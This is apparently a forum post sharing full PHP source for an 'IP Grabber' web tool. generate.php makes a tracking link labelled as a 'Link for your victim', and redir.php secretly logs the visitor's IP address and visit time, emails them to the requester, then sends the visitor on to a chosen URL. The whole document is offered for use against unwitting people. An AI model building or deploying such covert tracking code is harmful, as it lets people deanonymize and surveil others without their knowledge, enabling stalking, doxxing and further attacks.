Here is the source code :
For generate.php
<html>
<head>
<meta http-equiv="author" content="The Alchemist"/>
<title>
IP Grabber
</title>
</head>
<body background="http://fc00.deviantart.net/fs70/i/2011/324/9/2/black___purple_textures_by_paralyzinglove-d4gscvx.jpg">
<p align=center>
<img src="http://i67.photobucket.com/albums/h298/bcfcrule11/theAlchemist.png" alt="The Alchemist - IP Grabber" /></p>
<form name="ipgrab" action="<?php $PHP_SELF; ?>" method="POST">
<p align="center"><label for="email"><b><font size="5" color=c0c0c0>Your email :</b></font></label>
<input name="email" type="text"/><br><br><br><br>
<label for="redir"><b><font size="5" color=c0c0c0>Redirection Address :</b></font></label>
<input name="redir" type="text" value="http://"/><br><br><br><br>
<input type="submit" name="submit" value="Generate"/></p><br><br><br><br><br><br></p>
<p align="center"><font color=c0c0c0 size="5">
<?php
if(isset($_POST['email']) && isset($_POST['redir']) && isset($_POST['submit']))
{
$hostname='something';
$user='something';
$password='something';
$dbname='something';
$con=mysql_connect($hostname, $user, $password) or DIE('Connection to host is failed, perhaps the service is down!');
mysql_select_db($dbname,$con) or DIE('Database name is not available!');
$email=trim(mysql_real_escape_string(htmlentities($_POST['email'])));
$redir=trim(mysql_real_escape_string(htmlentities($_POST['redir'])));
$d=date('d');
$m=date('m');
$y=date('Y');
$full=date('Y-m-d H:i:s');
$id=sha1($email.$full);
$query=mysql_query("INSERT INTO ipgrabber(email,redir,id,date,month,year)VALUES('$email','$redir','$id','$d','$m','$y')",$con);
if($query)
{
echo 'Link successfully generated!! Valid for the rest of the day.<br><br>';
echo 'Link for your victim is http://www.blacklabs.fav.cc/links/redir.php?id='.$id.'</font></p>';
}
else
{
die('Error in generating the link');
}
}
?>
</font>
</p><br><br>
<p align="center"><img src="http://www.123myip.co.uk/ip-address/?size=468x60"></p>
</body>
</html>
For the redir.php
<html>
<head>
<meta http-equiv="author" content="The Alchemist"/>
<title>
Continue
</title>
</head>
<body>
<h2>
<?php
if(isset($_GET['id']))
{
$hostname='something';
$user='something';
$password='something';
$dbname='something';
$con=mysql_connect($hostname, $user, $password) or DIE('Connection to host is failed, perhaps the service is down!');
mysql_select_db($dbname,$con) or DIE('Database name is not available!');
$gid=trim(mysql_real_escape_string(htmlentities($_GET['id'])));
$query=mysql_query("SELECT * FROM ipgrabber WHERE id='$gid'",$con);
$num=mysql_num_rows($query);
if($num==0)
{
echo 'This link does not exist';
}
else
{
$values=mysql_fetch_assoc($query);
$d=(int)date('d');
$d1=(int)$values['date'];
$m=(int)date('m');
$m1=(int)$values['month'];
$y=(int)date('Y');
$y1=(int)$values['year'];
if($y>$y1 || ($y==$y1 && $m>$m1) || ($y==$y1 && $m==$m1 && $d>$d1))
{
echo 'The link has crossed its validity period';
}
else
{
$contents="Your victim's IP address is ".$_SERVER['REMOTE_ADDR']." Victim opened your link at ".date('Y-m-d H:i:s');
$victim="Victim IP";
$my="IPGRABBER@blacklabs.fav.cc";
$headers = "From: VICTIM IP<".$my.">rn";
@mail($values['email'],$victim,$contents,$headers);
echo 'Click ';?>
<a href="<?php echo $values['redir']; ?>"/>
<?php
echo 'here</a> to continue.';
}
}
}
?>
</h2>
</body>
</html>